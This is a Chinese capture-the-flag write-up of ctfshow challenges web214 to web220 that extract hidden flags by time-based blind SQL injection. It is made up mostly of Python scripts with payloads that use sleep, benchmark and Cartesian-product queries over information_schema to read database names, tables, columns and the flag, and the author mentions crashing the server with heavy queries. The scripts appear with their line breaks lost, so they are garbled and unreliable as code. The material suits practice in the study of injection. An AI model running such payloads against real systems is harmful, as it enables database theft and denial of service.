ctfshow-SQL注入(web214-web220)

时间盲注（最贴合实际的注入）

web214

什么都不存在使用bp进行抓包看看有没有注入点

在原始页面刷新抓包发现修改debug为1是返回结果是一个sql的查询语句 id可能存在注入点

发现存在时间注入

使用web193脚本进行修改

python盲注脚本

import requests
url = "http://63bf02d2-adaa-4048-aa71-54325ac0da02.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)# print(payload) 用于检测问题的# 当前数据库 ctfshow_web# payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)# 当前数据表 answer=ctfshow_flagx,ctfshow_info# payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)# 当前字段名 id,flaga,infopayload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)# 获取flag print(payload) #用于检测问题的data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

代码解释

得出flag

web215

加大一点满肚使用单引号以及屏蔽了部分内容

思路就是使用bp抓包然后使用简单的if语句判断盲注语句格式

需改debug 确实提示确实使用了单引号

测试

需要注意两点都是我遇见的问题

第一点 if不要在引号内

第二点不要使用and 使用or 因为and第一个如果是假的 and后的if不执行

正确方式发生延时

就该web214脚本即可

import requests
url = "http://d13c1b01-08bf-4f64-98a9-3c571f7e6f59.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "' or if(substr(database(),{},1)='{}',sleep(1),2) #".format(i,x)# 当前数据库 ctfshow_web# payload = "' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)#".format(i, x)# 当前数据表 answer=ctfshow_flagxc,ctfshow_info# payload = "' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)#".format(i, x)# 当前字段名 id,flagaa,infopayload = "' or if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)#".format(i, x)# 获取flag# print(payload) #用于检测问题的data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

得出flag

web216

对传入的值进行base64解码

在脚本中加上base64编码即可

没有了单引号

使用python中的 base64编码发现不行（说实话没明白为什么不能成功）

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:#payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)payload = 'if(substr(database(),{},1)="{}",sleep(1),2)'.format(i, x)# 当前数据库 ctfshow_web# payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)# 当前数据表 answer=ctfshow_flagxc,ctfshow_info# payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)".format(i, x)# 当前字段名 id,flagaa,info# payload = "if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)".format(i, x)# 获取flag# print(payload) #用于检测问题的payload = base64.b64encode(payload.encode())payload=payload.decode()print(payload)data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

那就使用mysql中to_base64从而与from_base64对应成功

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)# 当前数据库 ctfshow_webpayload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)# 当前数据表 answer=ctfshow_flagxc,ctfshow_info# payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2))".format(i, x)# 当前字段名 id,flagaa,info# payload = "to_base64(if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2))".format(i, x)# 获取flag# print(payload) #用于检测问题的print(payload)data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

得到flag

还有一种方法群主的方法先用abc的base编码之后再用or

这也是我不理解的地方为什么我用pythonbase64编码就不可以成功

web217

哇塞禁用了sleep 并且使用了括号将id括起来

那就使用benchmark 进行大量运算来消耗时间

用bp先看看服务器的性能看看该函数在服务器需要运算多少次才能达到我们想要的效果

运算十万次差不多0.5s

我滴妈运算弄多了直接把服务器干崩了需要等好久为什么会崩让服务器运算1亿次能不崩嘛

最终发现

benchmark(700000,md5(1)) timeout为0.5 是最好的效果

脚本

import requests
import base64
url = "http://35cbdf47-d435-4b65-bf15-a34a0cd4b132.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "if(substr(database(),{},1)='{}',benchmark(700000,md5(1)),2))#".format(i, x)# 当前数据库 ctfshow_web# payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)# 当前数据表 answer=ctfshow_flagxccb,ctfshow_info# payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)# 当前字段名 answer=id,flagaabc,infopayload = "if((substr((select flagaabc from ctfshow_flagxccb),{},1)='{}'),benchmark(700000,md5(1)),2)".format(i, x)# 获取flag# print(payload) #用于检测问题的data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

得出flag

web218

运算函数也被过滤了

还有一种方法使用查询语句查询大量数据从而消耗时间

本地先演示一次 users一共六条数据最终会有36条数据 6*6=36 form后如果是逗号会进行排列组合如果表足够大那么查询的数据也就相当大（原理不用理解记住这么用能查询大量数据即可）该方式叫笛卡尔积

这个时候就能用上information的数据库了里面肯定有大量数据特别是column的表

这个api后面要加上一个/ 这是一位不同服务器有不同的html设置

编写poc

ip=1) and if(2>1,
(select count(*) from(
(select table_name from information_schema.columns)a,
(select table_name from information_schema.columns)b,
(select table_name from information_schema.columns limit 1,7)c)
),2&debug=1

弄了一个小时本地无法进行测试不知道为什么都好万亿条数据了结果还是0.3s

延迟3.35s 是我们需要的结果 3.35经过测试还是用以把服务器搞崩把7修改为2 1.25s 差不多

用上一题的脚本替换计算函数
import requests
import base64
url = "http://36718ac4-d06a-45f9-9da1-9e2f77643c26.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)# 当前数据库 ctfshow_web# payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)# 当前数据表 answer=ctfshow_flagxc,ctfshow_info## payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)# 当前字段名 answer=id,flagaac,infopayload = "1) and if((substr((select flagaac from ctfshow_flagxc),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)# 获取flag# print(payload) #用于检测问题的data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break
得出flag

web219

多屏蔽了一个rlike（也是延时的一种方法）感觉对我们没用用上一题脚本跑一下

import requests
import base64
url = "http://2c481109-978c-47e9-8a25-24a279c2a151.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)# 当前数据库 ctfshow_web# payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)# 当前数据表 answer=cbfshow_flagxca,ctfshow_info# payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, x)# 当前字段名 answer=id,flagaabc,infopayload = "1) and if((substr((select flagaabc from ctfshow_flagxca),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)# 获取flag# print(payload) #用于检测问题的data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

得出flag

web220

对我们有影响的过滤就是过滤了substr 那就使用left即可并且过滤了concat 导致我们group_concat 不能使用但是可以是用limit 逐行获取这个concat大师傅没讲视频直接就是获取flag的步骤大家一定注意concat也被过滤了自己做完这题感觉我好强哈哈虽然比较基础

import requests
import base64
url = "http://0e9bfbbf-7b8c-4909-bb48-60be102d9870.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:#payload = "1) and if(left(database(),{})='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)# 当前数据库 ctfshow_web# payload = "1) and if((left((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)# 当前数据表 answer=ctfshow_flagxcac# payload = "1) and if((left((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, flag+x)# 当前字段名 answer=flagaabccpayload = "1) and if((left((select flagaabcc from ctfshow_flagxcac),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)# 获取flag#print(payload) #用于检测问题的data = {"ip":payload,"debug":1,}if x == " ":a = 1breaktry:res = requests.post(url = url,data =data,timeout=0.5)except:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

获取表明